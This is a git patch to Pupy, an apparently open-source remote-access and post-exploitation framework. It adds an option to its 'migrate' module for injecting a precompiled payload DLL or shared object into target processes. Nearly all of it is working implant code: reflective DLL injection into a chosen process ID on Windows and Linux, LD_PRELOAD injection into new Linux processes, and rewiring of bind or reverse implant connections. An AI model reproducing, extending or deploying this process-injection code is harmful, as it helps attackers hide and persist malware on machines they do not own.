From fa08c06db61d06810aa9edd8f1e2427f411954c8 Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Sun, 10 Nov 2019 10:28:18 +0200 Subject: [PATCH] migrate: Add argument to pass precompiled payload --- pupy/modules/lib/linux/migrate.py | 35 ++++++++++++++--------- pupy/modules/lib/windows/migrate.py | 44 ++++++++++++++++++----------- pupy/modules/migrate.py | 5 ++-- 3 files changed, 51 insertions(+), 33 deletions(-) diff --git a/pupy/modules/lib/linux/migrate.py b/pupy/modules/lib/linux/migrate.py index 6b50073d..57c0e961 100644 --- a/pupy/modules/lib/linux/migrate.py +++ b/pupy/modules/lib/linux/migrate.py @@ -18,21 +18,28 @@ def has_proc_migrated(client, pid): return c return None -def get_payload(module, compressed=True, debug=False): - conf = module.client.get_conf() - dllbuf, _, _ = pupygen.generate_binary_from_template( - module.log, - conf, 'linux', - arch=module.client.arch, shared=True, - debug=debug or conf['debug'] - ) +def get_payload(module, compressed=True, debug=False, from_payload=None): + dllbuff = None + if from_payload: + with open(from_payload, 'rb') as payload: + dllbuff = payload.read() + + module.success('Precompiled payload: {}'.format(from_payload)) + else: + conf = module.client.get_conf() + dllbuff, _, _ = pupygen.generate_binary_from_template( + module.log, + conf, 'linux', + arch=module.client.arch, shared=True, + debug=debug or conf['debug'] + ) if not compressed: - return dllbuf + return dllbuff dllgzbuf = cStringIO.StringIO() gzf = gzip.GzipFile('pupy.so', 'wb', 9, dllgzbuf) - gzf.write(dllbuf) + gzf.write(dllbuff) gzf.close() return dllgzbuf.getvalue() @@ -56,8 +63,8 @@ def wait_connect(module, pid, timeout=10): time.sleep(1) -def ld_preload(module, command, wait_thread=False, keep=False, debug=False): - payload = get_payload(module, debug) +def ld_preload(module, command, wait_thread=False, keep=False, debug=False, from_payload=None): + payload = get_payload(module, debug, from_payload=from_payload) pid = module.client.conn.modules['pupy'].ld_preload_inject_dll( command, payload, wait_thread @@ -74,8 +81,8 @@ def ld_preload(module, command, wait_thread=False, keep=False, debug=False): module.success("migration completed") -def migrate(module, pid, keep=False, timeout=10, debug=False): - payload = get_payload(module, debug) +def migrate(module, pid, keep=False, timeout=10, debug=False, from_payload=None): + payload = get_payload(module, debug, from_payload=from_payload) r = module.client.conn.modules['pupy'].reflective_inject_dll( pid, payload diff --git a/pupy/modules/lib/windows/migrate.py b/pupy/modules/lib/windows/migrate.py index 5ea3fad9..46239134 100644 --- a/pupy/modules/lib/windows/migrate.py +++ b/pupy/modules/lib/windows/migrate.py @@ -8,11 +8,12 @@ def has_proc_migrated(client, pid): return c return None -def migrate(module, pid, keep=False, timeout=30, bindPort=None, debug=False): +def migrate(module, pid, keep=False, timeout=30, bindPort=None, debug=False, from_payload=None): ''' - bindPort: The port used for listening on the target WHEN the current launcher uses a BIND connection. When the current launcher uses a BIND connection, this session is kept even if keep==False - When bindPort!=None and the current launcher uses a REVERSE connection (e.g. connect, auto_proxy), bindPort is not used in this function + When bindPort!=None and the current launcher uses a REVERSE connection (e.g. connect, auto_proxy), + bindPort is not used in this function ''' module.client.load_package('pupwinutils.processes') isProcess64bits = False @@ -32,25 +33,34 @@ def migrate(module, pid, keep=False, timeout=30, bindPort=None, debug=False): arch ='x86' module.success("process is 32 bits") - conf = module.client.get_conf() + dllbuff = None + if from_payload: + with open(from_payload, 'rb') as payload: + dllbuff = payload.read() - #Manage when current launcher uses a BIND connection (and not a REVERSE connection) - if module.client.desc['launcher'] not in ('connect', 'auto_proxy'): keep = True - module.warning('Enable keep (forced)') + module.success('Precompiled payload: {}'.format(from_payload)) + else: + conf = module.client.get_conf() - if module.client.desc['launcher'] == "bind": - isBindConnection = True - module.success("the current launcher uses a bind connection") - module.success("the bind port {0} is defined in DLL configuration".format(bindPort)) - conf['launcher_args'][conf['launcher_args'].index("--port")+1] = str(bindPort) + #Manage when current launcher uses a BIND connection (and not a REVERSE connection) + if module.client.desc['launcher'] not in ('connect', 'auto_proxy'): + keep = True + module.warning('Enable keep (forced)') - dllbuff, filename, _ = pupygen.generate_binary_from_template( - module.log, - conf, 'windows', - arch=arch, shared=True, debug=debug - ) - module.success("Template: {}".format(filename)) + if module.client.desc['launcher'] == "bind": + isBindConnection = True + module.success("the current launcher uses a bind connection") + module.success("the bind port {0} is defined in DLL configuration".format(bindPort)) + conf['launcher_args'][conf['launcher_args'].index("--port")+1] = str(bindPort) + + dllbuff, filename, _ = pupygen.generate_binary_from_template( + module.log, + conf, 'windows', + arch=arch, shared=True, debug=debug + ) + + module.success("Template: {}".format(filename)) module.success("injecting DLL in target process %s ..."%pid) diff --git a/pupy/modules/migrate.py b/pupy/modules/migrate.py index 2476bcb1..00eeb605 100644 --- a/pupy/modules/migrate.py +++ b/pupy/modules/migrate.py @@ -32,6 +32,7 @@ class MigrateModule(PupyModule): group.add_argument('-p', '--process', metavar='process_name', help='search a process name and migrate into') group.add_argument('pid', nargs='?', type=int, help='pid') + cls.arg_parser.add_argument('-P', '--payload', help='Use precompiled payload. Must be DLL') cls.arg_parser.add_argument( '-k', '--keep', action='store_true', help='migrate into the process but create a new session and keep the current pupy session running') @@ -74,7 +75,7 @@ class MigrateModule(PupyModule): else: self.success("Migrating to existing windows process identified with the pid {0}".format(args.pid)) pid=args.pid - win_migrate(self, pid, args.keep, args.timeout, bindPort=listeningPort, debug=args.debug) + win_migrate(self, pid, args.keep, args.timeout, bindPort=listeningPort, debug=args.debug, from_payload=args.payload) if isBindConnection: listeningAddress = self.client.desc['address'].split(':')[0] listeningAddressPortForBind = "{0}:{1}".format(listeningAddress, listeningPort) @@ -82,7 +83,7 @@ class MigrateModule(PupyModule): elif self.client.is_linux(): if args.create: self.success("Migrating to new linux process using LD_PRELOAD") - ld_preload(self, args.create, wait_thread=args.no_wait, keep=args.keep, debug=args.debug) + ld_preload(self, args.create, wait_thread=args.no_wait, keep=args.keep, debug=args.debug, from_payload=args.payload) else: self.success("Migrating to existing linux process") lin_migrate(self, args.pid, args.keep, debug=args.debug)